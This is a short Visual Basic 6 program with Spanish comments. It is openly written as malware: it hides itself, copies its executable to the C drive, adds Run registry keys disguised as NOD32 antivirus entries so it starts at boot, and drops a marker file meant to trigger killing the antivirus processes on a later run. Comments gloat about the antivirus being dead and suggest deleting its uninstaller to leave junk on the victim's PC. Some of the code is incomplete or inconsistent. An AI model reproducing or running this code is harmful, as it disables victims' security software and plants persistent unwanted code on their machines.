Private Sub Form_Load()
App.TaskVisible = false

If App.PrevInstance then
end
end if

FileCopy App.ExeName + ".exe" , "c:\jeje"

Set shell = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
shell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\la entrada del nod krn" , "C:\jeje.exe"

shell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\la entrada del nod kui" , "C:\jeje.exe"

If fso.FileExists("C:\windows\the shredder.dll") Then
kill 'el nod32krn y el otro, tbn podrias borrarle el uninstall para 'dejar basura en su pc...
'a estas alturas el nod32 ya va a estar muerto xD
End
Else
Open "c:\windows\the shredder.dll" For Output As #1
Print #1, "jejeje, si existo realiza la acción, si no no"
Close #1
End
End If
End Sub